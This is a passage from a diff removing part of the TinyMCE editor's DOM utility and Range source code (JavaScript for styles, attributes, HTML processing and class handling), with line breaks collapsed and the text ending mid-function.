- - o += '<' + n; - - for (k in a) { - if (a.hasOwnProperty(k)) - o += ' ' + k + '="' + t.encode(a[k]) + '"'; - } - - if (tinymce.is(h)) - return o + '>' + h + '</' + n + '>'; - - return o + ' />'; - }, - - remove : function(node, keep_children) { - return this.run(node, function(node) { - var parent, child; - - parent = node.parentNode; - - if (!parent) - return null; - - if (keep_children) { - while (child = node.firstChild) { - // IE 8 will crash if you don't remove completely empty text nodes - if (!tinymce.isIE || child.nodeType !== 3 || child.nodeValue) - parent.insertBefore(child, node); - else - node.removeChild(child); - } - } - - return parent.removeChild(node); - }); - }, - - setStyle : function(n, na, v) { - var t = this; - - return t.run(n, function(e) { - var s, i; - - s = e.style; - - // Camelcase it, if needed - na = na.replace(/-(\D)/g, function(a, b){ - return b.toUpperCase(); - }); - - // Default px suffix on these - if (t.pixelStyles.test(na) && (tinymce.is(v, 'number') || /^[\-0-9\.]+$/.test(v))) - v += 'px'; - - switch (na) { - case 'opacity': - // IE specific opacity - if (isIE) { - s.filter = v === '' ? '' : "alpha(opacity=" + (v * 100) + ")"; - - if (!n.currentStyle || !n.currentStyle.hasLayout) - s.display = 'inline-block'; - } - - // Fix for older browsers - s[na] = s['-moz-opacity'] = s['-khtml-opacity'] = v || ''; - break; - - case 'float': - isIE ? s.styleFloat = v : s.cssFloat = v; - break; - - default: - s[na] = v || ''; - } - - // Force update of the style data - if (t.settings.update_styles) - t.setAttrib(e, '_mce_style'); - }); - }, - - getStyle : function(n, na, c) { - n = this.get(n); - - if (!n) - return false; - - // Gecko - if (this.doc.defaultView && c) { - // Remove camelcase - na = na.replace(/[A-Z]/g, function(a){ - return '-' + a; - }); - - try { - return this.doc.defaultView.getComputedStyle(n, null).getPropertyValue(na); - } catch (ex) { - // Old safari might fail - return null; - } - } - - // Camelcase it, if needed - na = na.replace(/-(\D)/g, function(a, b){ - return b.toUpperCase(); - }); - - if (na == 'float') - na = isIE ? 'styleFloat' : 'cssFloat'; - - // IE & Opera - if (n.currentStyle && c) - return n.currentStyle[na]; - - return n.style[na]; - }, - - setStyles : function(e, o) { - var t = this, s = t.settings, ol; - - ol = s.update_styles; - s.update_styles = 0; - - each(o, function(v, n) { - t.setStyle(e, n, v); - }); - - // Update style info - s.update_styles = ol; - if (s.update_styles) - t.setAttrib(e, s.cssText); - }, - - setAttrib : function(e, n, v) { - var t = this; - - // Whats the point - if (!e || !n) - return; - - // Strict XML mode - if (t.settings.strict) - n = n.toLowerCase(); - - return this.run(e, function(e) { - var s = t.settings; - - switch (n) { - case "style": - if (!is(v, 'string')) { - each(v, function(v, n) { - t.setStyle(e, n, v); - }); - - return; - } - - // No mce_style for elements with these since they might get resized by the user - if (s.keep_values) { - if (v && !t._isRes(v)) - e.setAttribute('_mce_style', v, 2); - else - e.removeAttribute('_mce_style', 2); - } - - e.style.cssText = v; - break; - - case "class": - e.className = v || ''; // Fix IE null bug - break; - - case "src": - case "href": - if (s.keep_values) { - if (s.url_converter) - v = s.url_converter.call(s.url_converter_scope || t, v, n, e); - - t.setAttrib(e, '_mce_' + n, v, 2); - } - - break; - - case "shape": - e.setAttribute('_mce_style', v); - break; - } - - if (is(v) && v !== null && v.length !== 0) - e.setAttribute(n, '' + v, 2); - else - e.removeAttribute(n, 2); - }); - }, - - setAttribs : function(e, o) { - var t = this; - - return this.run(e, function(e) { - each(o, function(v, n) { - t.setAttrib(e, n, v); - }); - }); - }, - - getAttrib : function(e, n, dv) { - var v, t = this; - - e = t.get(e); - - if (!e || e.nodeType !== 1) - return false; - - if (!is(dv)) - dv = ''; - - // Try the mce variant for these - if (/^(src|href|style|coords|shape)$/.test(n)) { - v = e.getAttribute("_mce_" + n); - - if (v) - return v; - } - - if (isIE && t.props[n]) { - v = e[t.props[n]]; - v = v && v.nodeValue ? v.nodeValue : v; - } - - if (!v) - v = e.getAttribute(n, 2); - - // Check boolean attribs - if (/^(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)$/.test(n)) { - if (e[t.props[n]] === true && v === '') - return n; - - return v ? n : ''; - } - - // Inner input elements will override attributes on form elements - if (e.nodeName === "FORM" && e.getAttributeNode(n)) - return e.getAttributeNode(n).nodeValue; - - if (n === 'style') { - v = v || e.style.cssText; - - if (v) { - v = t.serializeStyle(t.parseStyle(v), e.nodeName); - - if (t.settings.keep_values && !t._isRes(v)) - e.setAttribute('_mce_style', v); - } - } - - // Remove Apple and WebKit stuff - if (isWebKit && n === "class" && v) - v = v.replace(/(apple|webkit)\-[a-z\-]+/gi, ''); - - // Handle IE issues - if (isIE) { - switch (n) { - case 'rowspan': - case 'colspan': - // IE returns 1 as default value - if (v === 1) - v = ''; - - break; - - case 'size': - // IE returns +0 as default value for size - if (v === '+0' || v === 20 || v === 0) - v = ''; - - break; - - case 'width': - case 'height': - case 'vspace': - case 'checked': - case 'disabled': - case 'readonly': - if (v === 0) - v = ''; - - break; - - case 'hspace': - // IE returns -1 as default value - if (v === -1) - v = ''; - - break; - - case 'maxlength': - case 'tabindex': - // IE returns default value - if (v === 32768 || v === 2147483647 || v === '32768') - v = ''; - - break; - - case 'multiple': - case 'compact': - case 'noshade': - case 'nowrap': - if (v === 65535) - return n; - - return dv; - - case 'shape': - v = v.toLowerCase(); - break; - - default: - // IE has odd anonymous function for event attributes - if (n.indexOf('on') === 0 && v) - v = ('' + v).replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/, '$1'); - } - } - - return (v !== undefined && v !== null && v !== '') ? '' + v : dv; - }, - - getPos : function(n, ro) { - var t = this, x = 0, y = 0, e, d = t.doc, r; - - n = t.get(n); - ro = ro || d.body; - - if (n) { - // Use getBoundingClientRect on IE, Opera has it but it's not perfect - if (isIE && !t.stdMode) { - n = n.getBoundingClientRect(); - e = t.boxModel ? d.documentElement : d.body; - x = t.getStyle(t.select('html')[0], 'borderWidth'); // Remove border - x = (x == 'medium' || t.boxModel && !t.isIE6) && 2 || x; - - return {x : n.left + e.scrollLeft - x, y : n.top + e.scrollTop - x}; - } - - r = n; - while (r && r != ro && r.nodeType) { - x += r.offsetLeft || 0; - y += r.offsetTop || 0; - r = r.offsetParent; - } - - r = n.parentNode; - while (r && r != ro && r.nodeType) { - x -= r.scrollLeft || 0; - y -= r.scrollTop || 0; - r = r.parentNode; - } - } - - return {x : x, y : y}; - }, - - parseStyle : function(st) { - var t = this, s = t.settings, o = {}; - - if (!st) - return o; - - function compress(p, s, ot) { - var t, r, b, l; - - // Get values and check it it needs compressing - t = o[p + '-top' + s]; - if (!t) - return; - - r = o[p + '-right' + s]; - if (t != r) - return; - - b = o[p + '-bottom' + s]; - if (r != b) - return; - - l = o[p + '-left' + s]; - if (b != l) - return; - - // Compress - o[ot] = l; - delete o[p + '-top' + s]; - delete o[p + '-right' + s]; - delete o[p + '-bottom' + s]; - delete o[p + '-left' + s]; - }; - - function compress2(ta, a, b, c) { - var t; - - t = o[a]; - if (!t) - return; - - t = o[b]; - if (!t) - return; - - t = o[c]; - if (!t) - return; - - // Compress - o[ta] = o[a] + ' ' + o[b] + ' ' + o[c]; - delete o[a]; - delete o[b]; - delete o[c]; - }; - - st = st.replace(/&(#?[a-z0-9]+);/g, '&$1_MCE_SEMI_'); // Protect entities - - each(st.split(';'), function(v) { - var sv, ur = []; - - if (v) { - v = v.replace(/_MCE_SEMI_/g, ';'); // Restore entities - v = v.replace(/url\([^\)]+\)/g, function(v) {ur.push(v);return 'url(' + ur.length + ')';}); - v = v.split(':'); - sv = tinymce.trim(v[1]); - sv = sv.replace(/url\(([^\)]+)\)/g, function(a, b) {return ur[parseInt(b) - 1];}); - - sv = sv.replace(/rgb\([^\)]+\)/g, function(v) { - return t.toHex(v); - }); - - if (s.url_converter) { - sv = sv.replace(/url\([\'\"]?([^\)\'\"]+)[\'\"]?\)/g, function(x, c) { - return 'url(' + s.url_converter.call(s.url_converter_scope || t, t.decode(c), 'style', null) + ')'; - }); - } - - o[tinymce.trim(v[0]).toLowerCase()] = sv; - } - }); - - compress("border", "", "border"); - compress("border", "-width", "border-width"); - compress("border", "-color", "border-color"); - compress("border", "-style", "border-style"); - compress("padding", "", "padding"); - compress("margin", "", "margin"); - compress2('border', 'border-width', 'border-style', 'border-color'); - - if (isIE) { - // Remove pointless border - if (o.border == 'medium none') - o.border = ''; - } - - return o; - }, - - serializeStyle : function(o, name) { - var t = this, s = ''; - - function add(v, k) { - if (k && v) { - // Remove browser specific styles like -moz- or -webkit- - if (k.indexOf('-') === 0) - return; - - switch (k) { - case 'font-weight': - // Opera will output bold as 700 - if (v == 700) - v = 'bold'; - - break; - - case 'color': - case 'background-color': - v = v.toLowerCase(); - break; - } - - s += (s ? ' ' : '') + k + ': ' + v + ';'; - } - }; - - // Validate style output - if (name && t._styles) { - each(t._styles['*'], function(name) { - add(o[name], name); - }); - - each(t._styles[name.toLowerCase()], function(name) { - add(o[name], name); - }); - } else - each(o, add); - - return s; - }, - - loadCSS : function(u) { - var t = this, d = t.doc, head; - - if (!u) - u = ''; - - head = t.select('head')[0]; - - each(u.split(','), function(u) { - var link; - - if (t.files[u]) - return; - - t.files[u] = true; - link = t.create('link', {rel : 'stylesheet', href : tinymce._addVer(u)}); - - // IE 8 has a bug where dynamically loading stylesheets would produce a 1 item remaining bug - // This fix seems to resolve that issue by realcing the document ones a stylesheet finishes loading - // It's ugly but it seems to work fine. - if (isIE && d.documentMode) { - link.onload = function() { - d.recalc(); - link.onload = null; - }; - } - - head.appendChild(link); - }); - }, - - addClass : function(e, c) { - return this.run(e, function(e) { - var o; - - if (!c) - return 0; - - if (this.hasClass(e, c)) - return e.className; - - o = this.removeClass(e, c); - - return e.className = (o != '' ? (o + ' ') : '') + c; - }); - }, - - removeClass : function(e, c) { - var t = this, re; - - return t.run(e, function(e) { - var v; - - if (t.hasClass(e, c)) { - if (!re) - re = new RegExp("(^|\\s+)" + c + "(\\s+|$)", "g"); - - v = e.className.replace(re, ' '); - v = tinymce.trim(v != ' ' ? v : ''); - - e.className = v; - - // Empty class attr - if (!v) { - e.removeAttribute('class'); - e.removeAttribute('className'); - } - - return v; - } - - return e.className; - }); - }, - - hasClass : function(n, c) { - n = this.get(n); - - if (!n || !c) - return false; - - return (' ' + n.className + ' ').indexOf(' ' + c + ' ') !== -1; - }, - - show : function(e) { - return this.setStyle(e, 'display', 'block'); - }, - - hide : function(e) { - return this.setStyle(e, 'display', 'none'); - }, - - isHidden : function(e) { - e = this.get(e); - - return !e || e.style.display == 'none' || this.getStyle(e, 'display') == 'none'; - }, - - uniqueId : function(p) { - return (!p ? 'mce_' : p) + (this.counter++); - }, - - setHTML : function(e, h) { - var t = this; - - return this.run(e, function(e) { - var x, i, nl, n, p, x; - - h = t.processHTML(h); - - if (isIE) { - function set() { - // Remove all child nodes - while (e.firstChild) - e.firstChild.removeNode(); - - try { - // IE will remove comments from the beginning - // unless you padd the contents with something - e.innerHTML = '<br />' + h; - e.removeChild(e.firstChild); - } catch (ex) { - // IE sometimes produces an unknown runtime error on innerHTML if it's an block element within a block element for example a div inside a p - // This seems to fix this problem - - // Create new div with HTML contents and a BR infront to keep comments - x = t.create('div'); - x.innerHTML = '<br />' + h; - - // Add all children from div to target - each (x.childNodes, function(n, i) { - // Skip br element - if (i) - e.appendChild(n); - }); - } - }; - - // IE has a serious bug when it comes to paragraphs it can produce an invalid - // DOM tree if contents like this <p><ul><li>Item 1</li></ul></p> is inserted - // It seems to be that IE doesn't like a root block element placed inside another root block element - if (t.settings.fix_ie_paragraphs) - h = h.replace(/<p><\/p>|<p([^>]+)><\/p>|<p[^\/+]\/>/gi, '<p$1 _mce_keep="true">&nbsp;</p>'); - - set(); - - if (t.settings.fix_ie_paragraphs) { - // Check for odd paragraphs this is a sign of a broken DOM - nl = e.getElementsByTagName("p"); - for (i = nl.length - 1, x = 0; i >= 0; i--) { - n = nl[i]; - - if (!n.hasChildNodes()) { - if (!n._mce_keep) { - x = 1; // Is broken - break; - } - - n.removeAttribute('_mce_keep'); - } - } - } - - // Time to fix the madness IE left us - if (x) { - // So if we replace the p elements with divs and mark them and then replace them back to paragraphs - // after we use innerHTML we can fix the DOM tree - h = h.replace(/<p ([^>]+)>|<p>/ig, '<div $1 _mce_tmp="1">'); - h = h.replace(/<\/p>/gi, '</div>'); - - // Set the new HTML with DIVs - set(); - - // Replace all DIV elements with the _mce_tmp attibute back to paragraphs - // This is needed since IE has a annoying bug see above for details - // This is a slow process but it has to be done. :( - if (t.settings.fix_ie_paragraphs) { - nl = e.getElementsByTagName("DIV"); - for (i = nl.length - 1; i >= 0; i--) { - n = nl[i]; - - // Is it a temp div - if (n._mce_tmp) { - // Create new paragraph - p = t.doc.createElement('p'); - - // Copy all attributes - n.cloneNode(false).outerHTML.replace(/([a-z0-9\-_]+)=/gi, function(a, b) { - var v; - - if (b !== '_mce_tmp') { - v = n.getAttribute(b); - - if (!v && b === 'class') - v = n.className; - - p.setAttribute(b, v); - } - }); - - // Append all children to new paragraph - for (x = 0; x<n.childNodes.length; x++) - p.appendChild(n.childNodes[x].cloneNode(true)); - - // Replace div with new paragraph - n.swapNode(p); - } - } - } - } - } else - e.innerHTML = h; - - return h; - }); - }, - - processHTML : function(h) { - var t = this, s = t.settings, codeBlocks = []; - - if (!s.process_html) - return h; - - if (isIE) { - h = h.replace(/&apos;/g, '&#39;'); // IE can't handle apos - h = h.replace(/\s+(disabled|checked|readonly|selected)\s*=\s*[\"\']?(false|0)[\"\']?/gi, ''); // IE doesn't handle default values correct - } - - // Fix some issues - h = h.replace(/<a( )([^>]+)\/>|<a\/>/gi, '<a$1$2></a>'); // Force open - - // Store away src and href in _mce_src and mce_href since browsers mess them up - if (s.keep_values) { - // Wrap scripts and styles in comments for serialization purposes - if (/<script|noscript|style/i.test(h)) { - function trim(s) { - // Remove prefix and suffix code for element - s = s.replace(/(<!--\[CDATA\[|\]\]-->)/g, '\n'); - s = s.replace(/^[\r\n]*|[\r\n]*$/g, ''); - s = s.replace(/^\s*(\/\/\s*<!--|\/\/\s*<!\[CDATA\[|<!--|<!\[CDATA\[)[\r\n]*/g, ''); - s = s.replace(/\s*(\/\/\s*\]\]>|\/\/\s*-->|\]\]>|-->|\]\]-->)\s*$/g, ''); - - return s; - }; - - // Wrap the script contents in CDATA and keep them from executing - h = h.replace(/<script([^>]+|)>([\s\S]*?)<\/script>/gi, function(v, attribs, text) { - // Force type attribute - if (!attribs) - attribs = ' type="text/javascript"'; - - // Convert the src attribute of the scripts - attribs = attribs.replace(/src=\"([^\"]+)\"?/i, function(a, url) { - if (s.url_converter) - url = t.encode(s.url_converter.call(s.url_converter_scope || t, t.decode(url), 'src', 'script')); - - return '_mce_src="' + url + '"'; - }); - - // Wrap text contents - if (tinymce.trim(text)) { - codeBlocks.push(trim(text)); - text = '<!--\nMCE_SCRIPT:' + (codeBlocks.length - 1) + '\n// -->'; - } - - return '<mce:script' + attribs + '>' + text + '</mce:script>'; - }); - - // Wrap style elements - h = h.replace(/<style([^>]+|)>([\s\S]*?)<\/style>/gi, function(v, attribs, text) { - // Wrap text contents - if (text) { - codeBlocks.push(trim(text)); - text = '<!--\nMCE_SCRIPT:' + (codeBlocks.length - 1) + '\n-->'; - } - - return '<mce:style' + attribs + '>' + text + '</mce:style><style ' + attribs + ' _mce_bogus="1">' + text + '</style>'; - }); - - // Wrap noscript elements - h = h.replace(/<noscript([^>]+|)>([\s\S]*?)<\/noscript>/g, function(v, attribs, text) { - return '<mce:noscript' + attribs + '><!--' + t.encode(text).replace(/--/g, '&#45;&#45;') + '--></mce:noscript>'; - }); - } - - h = h.replace(/<!\[CDATA\[([\s\S]+)\]\]>/g, '<!--[CDATA[$1]]-->'); - - // This function processes the attributes in the HTML string to force boolean - // attributes to the attr="attr" format and convert style, src and href to _mce_ versions - function processTags(html) { - return html.replace(tagRegExp, function(match, elm_name, attrs, end) { - return '<' + elm_name + attrs.replace(attrRegExp, function(match, name, value, val2, val3) { - var mceValue; - - name = name.toLowerCase(); - value = value || val2 || val3 || ""; - - // Treat boolean attributes - if (boolAttrs[name]) { - // false or 0 is treated as a missing attribute - if (value === 'false' || value === '0') - return; - - return name + '="' + name + '"'; - } - - // Is attribute one that needs special treatment - if (mceAttribs[name] && attrs.indexOf('_mce_' + name) == -1) { - mceValue = t.decode(value); - - // Convert URLs to relative/absolute ones - if (s.url_converter && (name == "src" || name == "href")) - mceValue = s.url_converter.call(s.url_converter_scope || t, mceValue, name, elm_name); - - // Process styles lowercases them and compresses them - if (name == 'style') - mceValue = t.serializeStyle(t.parseStyle(mceValue), name); - - return name + '="' + value + '"' + ' _mce_' + name + '="' + t.encode(mceValue) + '"'; - } - - return match; - }) + end + '>'; - }); - }; - - h = processTags(h); - - // Restore script blocks - h = h.replace(/MCE_SCRIPT:([0-9]+)/g, function(val, idx) { - return codeBlocks[idx]; - }); - } - - return h; - }, - - getOuterHTML : function(e) { - var d; - - e = this.get(e); - - if (!e) - return null; - - if (e.outerHTML !== undefined) - return e.outerHTML; - - d = (e.ownerDocument || this.doc).createElement("body"); - d.appendChild(e.cloneNode(true)); - - return d.innerHTML; - }, - - setOuterHTML : function(e, h, d) { - var t = this; - - function setHTML(e, h, d) { - var n, tp; - - tp = d.createElement("body"); - tp.innerHTML = h; - - n = tp.lastChild; - while (n) { - t.insertAfter(n.cloneNode(true), e); - n = n.previousSibling; - } - - t.remove(e); - }; - - return this.run(e, function(e) { - e = t.get(e); - - // Only set HTML on elements - if (e.nodeType == 1) { - d = d || e.ownerDocument || t.doc; - - if (isIE) { - try { - // Try outerHTML for IE it sometimes produces an unknown runtime error - if (isIE && e.nodeType == 1) - e.outerHTML = h; - else - setHTML(e, h, d); - } catch (ex) { - // Fix for unknown runtime error - setHTML(e, h, d); - } - } else - setHTML(e, h, d); - } - }); - }, - - decode : function(s) { - var e, n, v; - - // Look for entities to decode - if (/&[\w#]+;/.test(s)) { - // Decode the entities using a div element not super efficient but less code - e = this.doc.createElement("div"); - e.innerHTML = s; - n = e.firstChild; - v = ''; - - if (n) { - do { - v += n.nodeValue; - } while (n = n.nextSibling); - } - - return v || s; - } - - return s; - }, - - encode : function(str) { - return ('' + str).replace(encodeCharsRe, function(chr) { - return encodedChars[chr]; - }); - }, - - insertAfter : function(node, reference_node) { - reference_node = this.get(reference_node); - - return this.run(node, function(node) { - var parent, nextSibling; - - parent = reference_node.parentNode; - nextSibling = reference_node.nextSibling; - - if (nextSibling) - parent.insertBefore(node, nextSibling); - else - parent.appendChild(node); - - return node; - }); - }, - - isBlock : function(n) { - if (n.nodeType && n.nodeType !== 1) - return false; - - n = n.nodeName || n; - - return blockRe.test(n); - }, - - replace : function(n, o, k) { - var t = this; - - if (is(o, 'array')) - n = n.cloneNode(true); - - return t.run(o, function(o) { - if (k) { - each(tinymce.grep(o.childNodes), function(c) { - n.appendChild(c); - }); - } - - return o.parentNode.replaceChild(n, o); - }); - }, - - rename : function(elm, name) { - var t = this, newElm; - - if (elm.nodeName != name.toUpperCase()) { - // Rename block element - newElm = t.create(name); - - // Copy attribs to new block - each(t.getAttribs(elm), function(attr_node) { - t.setAttrib(newElm, attr_node.nodeName, t.getAttrib(elm, attr_node.nodeName)); - }); - - // Replace block - t.replace(newElm, elm, 1); - } - - return newElm || elm; - }, - - findCommonAncestor : function(a, b) { - var ps = a, pe; - - while (ps) { - pe = b; - - while (pe && ps != pe) - pe = pe.parentNode; - - if (ps == pe) - break; - - ps = ps.parentNode; - } - - if (!ps && a.ownerDocument) - return a.ownerDocument.documentElement; - - return ps; - }, - - toHex : function(s) { - var c = /^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(s); - - function hex(s) { - s = parseInt(s).toString(16); - - return s.length > 1 ? s : '0' + s; // 0 -> 00 - }; - - if (c) { - s = '#' + hex(c[1]) + hex(c[2]) + hex(c[3]); - - return s; - } - - return s; - }, - - getClasses : function() { - var t = this, cl = [], i, lo = {}, f = t.settings.class_filter, ov; - - if (t.classes) - return t.classes; - - function addClasses(s) { - // IE style imports - each(s.imports, function(r) { - addClasses(r); - }); - - each(s.cssRules || s.rules, function(r) { - // Real type or fake it on IE - switch (r.type || 1) { - // Rule - case 1: - if (r.selectorText) { - each(r.selectorText.split(','), function(v) { - v = v.replace(/^\s*|\s*$|^\s\./g, ""); - - // Is internal or it doesn't contain a class - if (/\.mce/.test(v) || !/\.[\w\-]+$/.test(v)) - return; - - // Remove everything but class name - ov = v; - v = v.replace(/.*\.([a-z0-9_\-]+).*/i, '$1'); - - // Filter classes - if (f && !(v = f(v, ov))) - return; - - if (!lo[v]) { - cl.push({'class' : v}); - lo[v] = 1; - } - }); - } - break; - - // Import - case 3: - addClasses(r.styleSheet); - break; - } - }); - }; - - try { - each(t.doc.styleSheets, addClasses); - } catch (ex) { - // Ignore - } - - if (cl.length > 0) - t.classes = cl; - - return cl; - }, - - run : function(e, f, s) { - var t = this, o; - - if (t.doc && typeof(e) === 'string') - e = t.get(e); - - if (!e) - return false; - - s = s || this; - if (!e.nodeType && (e.length || e.length === 0)) { - o = []; - - each(e, function(e, i) { - if (e) { - if (typeof(e) == 'string') - e = t.doc.getElementById(e); - - o.push(f.call(s, e, i)); - } - }); - - return o; - } - - return f.call(s, e); - }, - - getAttribs : function(n) { - var o; - - n = this.get(n); - - if (!n) - return []; - - if (isIE) { - o = []; - - // Object will throw exception in IE - if (n.nodeName == 'OBJECT') - return n.attributes; - - // IE doesn't keep the selected attribute if you clone option elements - if (n.nodeName === 'OPTION' && this.getAttrib(n, 'selected')) - o.push({specified : 1, nodeName : 'selected'}); - - // It's crazy that this is faster in IE but it's because it returns all attributes all the time - n.cloneNode(false).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi, '').replace(/[\w:\-]+/gi, function(a) { - o.push({specified : 1, nodeName : a}); - }); - - return o; - } - - return n.attributes; - }, - - destroy : function(s) { - var t = this; - - if (t.events) - t.events.destroy(); - - t.win = t.doc = t.root = t.events = null; - - // Manual destroy then remove unload handler - if (!s) - tinymce.removeUnload(t.destroy); - }, - - createRng : function() { - var d = this.doc; - - return d.createRange ? d.createRange() : new tinymce.dom.Range(this); - }, - - nodeIndex : function(node, normalized) { - var idx = 0, lastNodeType, lastNode, nodeType; - - if (node) { - for (lastNodeType = node.nodeType, node = node.previousSibling, lastNode = node; node; node = node.previousSibling) { - nodeType = node.nodeType; - - // Normalize text nodes - if (normalized && nodeType == 3) { - if (nodeType == lastNodeType || !node.nodeValue.length) - continue; - } - - idx++; - lastNodeType = nodeType; - } - } - - return idx; - }, - - split : function(pe, e, re) { - var t = this, r = t.createRng(), bef, aft, pa; - - // W3C valid browsers tend to leave empty nodes to the left/right side of the contents, this makes sense - // but we don't want that in our code since it serves no purpose for the end user - // For example if this is chopped: - // <p>text 1<span><b>CHOP</b></span>text 2</p> - // would produce: - // <p>text 1<span></span></p><b>CHOP</b><p><span></span>text 2</p> - // this function will then trim of empty edges and produce: - // <p>text 1</p><b>CHOP</b><p>text 2</p> - function trim(node) { - var i, children = node.childNodes; - - if (node.nodeType == 1 && node.getAttribute('_mce_type') == 'bookmark') - return; - - for (i = children.length - 1; i >= 0; i--) - trim(children[i]); - - if (node.nodeType != 9) { - // Keep non whitespace text nodes - if (node.nodeType == 3 && node.nodeValue.length > 0) - return; - - if (node.nodeType == 1) { - // If the only child is a bookmark then move it up - children = node.childNodes; - if (children.length == 1 && children[0] && children[0].nodeType == 1 && children[0].getAttribute('_mce_type') == 'bookmark') - node.parentNode.insertBefore(children[0], node); - - // Keep non empty elements or img, hr etc - if (children.length || /^(br|hr|input|img)$/i.test(node.nodeName)) - return; - } - - t.remove(node); - } - - return node; - }; - - if (pe && e) { - // Get before chunk - r.setStart(pe.parentNode, t.nodeIndex(pe)); - r.setEnd(e.parentNode, t.nodeIndex(e)); - bef = r.extractContents(); - - // Get after chunk - r = t.createRng(); - r.setStart(e.parentNode, t.nodeIndex(e) + 1); - r.setEnd(pe.parentNode, t.nodeIndex(pe) + 1); - aft = r.extractContents(); - - // Insert before chunk - pa = pe.parentNode; - pa.insertBefore(trim(bef), pe); - - // Insert middle chunk - if (re) - pa.replaceChild(re, e); - else - pa.insertBefore(e, pe); - - // Insert after chunk - pa.insertBefore(trim(aft), pe); - t.remove(pe); - - return re || e; - } - }, - - bind : function(target, name, func, scope) { - var t = this; - - if (!t.events) - t.events = new tinymce.dom.EventUtils(); - - return t.events.add(target, name, func, scope || this); - }, - - unbind : function(target, name, func) { - var t = this; - - if (!t.events) - t.events = new tinymce.dom.EventUtils(); - - return t.events.remove(target, name, func); - }, - - - _findSib : function(node, selector, name) { - var t = this, f = selector; - - if (node) { - // If expression make a function of it using is - if (is(f, 'string')) { - f = function(node) { - return t.is(node, selector); - }; - } - - // Loop all siblings - for (node = node[name]; node; node = node[name]) { - if (f(node)) - return node; - } - } - - return null; - }, - - _isRes : function(c) { - // Is live resizble element - return /^(top|left|bottom|right|width|height)/i.test(c) || /;\s*(top|left|bottom|right|width|height)/i.test(c); - } - - /* - walk : function(n, f, s) { - var d = this.doc, w; - - if (d.createTreeWalker) { - w = d.createTreeWalker(n, NodeFilter.SHOW_TEXT, null, false); - - while ((n = w.nextNode()) != null) - f.call(s || this, n); - } else - tinymce.walk(n, f, 'childNodes', s); - } - */ - - /* - toRGB : function(s) { - var c = /^\s*?#([0-9A-F]{2})([0-9A-F]{1,2})([0-9A-F]{2})?\s*?$/.exec(s); - - if (c) { - // #FFF -> #FFFFFF - if (!is(c[3])) - c[3] = c[2] = c[1]; - - return "rgb(" + parseInt(c[1], 16) + "," + parseInt(c[2], 16) + "," + parseInt(c[3], 16) + ")"; - } - - return s; - } - */ - }); - - tinymce.DOM = new tinymce.dom.DOMUtils(document, {process_html : 0}); -})(tinymce); - -(function(ns) { - // Range constructor - function Range(dom) { - var t = this, - doc = dom.doc, - EXTRACT = 0, - CLONE = 1, - DELETE = 2, - TRUE = true, - FALSE = false, - START_OFFSET = 'startOffset', - START_CONTAINER = 'startContainer', - END_CONTAINER = 'endContainer', - END_OFFSET = 'endOffset', - extend = tinymce.extend, - nodeIndex = dom.nodeIndex; - - extend(t, { - // Inital states - startContainer : doc, - startOffset : 0, - endContainer : doc, - endOffset : 0, - collapsed : TRUE, - commonAncestorContainer : doc, - - // Range constants - START_TO_START : 0, - START_TO_END : 1, - END_TO_END : 2, - END_TO_START : 3, - - // Public methods - setStart : setStart, - setEnd : setEnd, - setStartBefore : setStartBefore, - setStartAfter : setStartAfter, - setEndBefore : setEndBefore, - setEndAfter : setEndAfter, - collapse : collapse, - selectNode : selectNode, - selectNodeContents : selectNodeContents, - compareBoundaryPoints : compareBoundaryPoints, - deleteContents : deleteContents, - extractContents : extractContents, - cloneContents : cloneContents, - insertNode : insertNode, - surroundContents : surroundContents, - cloneRange : cloneRange - }); - - function setStart(n, o) { - _setEndPoint(TRUE, n, o); - }; - - function setEnd(n, o) { - _setEndPoint(FALSE, n, o); - }; - - function setStartBefore(n) { - setStart(n.parentNode, nodeIndex(n)); - }; - - function setStartAfter(n) { - setStart(n.parentNode, nodeIndex(n) + 1); - }; - - function setEndBefore(n) { - setEnd(n.parentNode, nodeIndex(n)); - }; - - function setEndAfter(n) { - setEnd(n.parentNode, nodeIndex(n) + 1); - }; - - function collapse(ts) { - if (ts) { - t[END_CONTAINER] = t[START_CONTAINER]; - t[END_OFFSET] = t[START_OFFSET]; - } else { - t[START_CONTAINER] = t[END_CONTAINER]; - t[START_OFFSET] = t[END_OFFSET]; - } - - t.collapsed = TRUE; - }; - - function selectNode(n) { - setStartBefore(n); - setEndAfter(n); - }; - - function selectNodeContents(n) { - setStart(n, 0); - setEnd(n, n.nodeType === 1 ? n.childNodes.length : n.nodeValue.length); - }; - - function compareBoundaryPoints(h, r) { - var sc = t[START_CONTAINER], so = t[START_OFFSET], ec = t[END_CONTAINER], eo = t[END_OFFSET]; - - // Check START_TO_START - if (h === 0) - return _compareBoundaryPoints(sc, so, sc, so); - - // Check START_TO_END - if (h === 1) - return _compareBoundaryPoints(sc, so, ec, eo); - - // Check END_TO_END - if (h === 2) - return _compareBoundaryPoints(ec, eo, ec, eo); - - // Check END_TO_START - if (h === 3) - return _compareBoundaryPoints(ec, eo, sc, so); - }; - - function deleteContents() { - _traverse(DELETE); - }; - - function extractContents() { - return _traverse(EXTRACT); - }; - - function cloneContents() { - return _traverse(CLONE); - }; - - function insertNode(n) { - var startContainer = this[START_CONTAINER], - startOffset = this[START_OFFSET], nn, o; - - // Node is TEXT_NODE or CDATA - if ((startContainer.nodeType === 3 || startContainer.nodeType === 4) && startContainer.nodeValue) { - if (!startOffset) { - // At the start of text - startContainer.parentNode.insertBefore(n, startContainer); - } else if (startOffset >= startContainer.nodeValue.length) { - // At the end of text - dom.insertAfter(n, startContainer); - } else { - // Middle, need to split - nn = startContainer.splitText(startOffset); - startContainer.parentNode.insertBefore(n, nn); - } - } else { - // Insert element node - if (startContainer.childNodes.length > 0) - o = startContainer.childNodes[startOffset]; - - if (o) - startContainer.insertBefore(n, o); - else - startContainer.appendChild(n); - } - }; - - function surroundContents(n) { - var f = t.extractContents(); - - t.insertNode(n); - n.appendChild(f); - t.selectNode(n); - }; - - function cloneRange() { - return extend(new Range(dom), { - startContainer : t[START_CONTAINER], - startOffset : t[START_OFFSET], - endContainer : t[END_CONTAINER], - endOffset : t[END_OFFSET], - collapsed : t.collapsed, - commonAncestorContainer : t.commonAncestorContainer - }); - }; - - // Private methods - - function _getSelectedNode(container, offset) { - var child; - - if (container.nodeType == 3 /* TEXT_NODE */) - return container; - - if (offset < 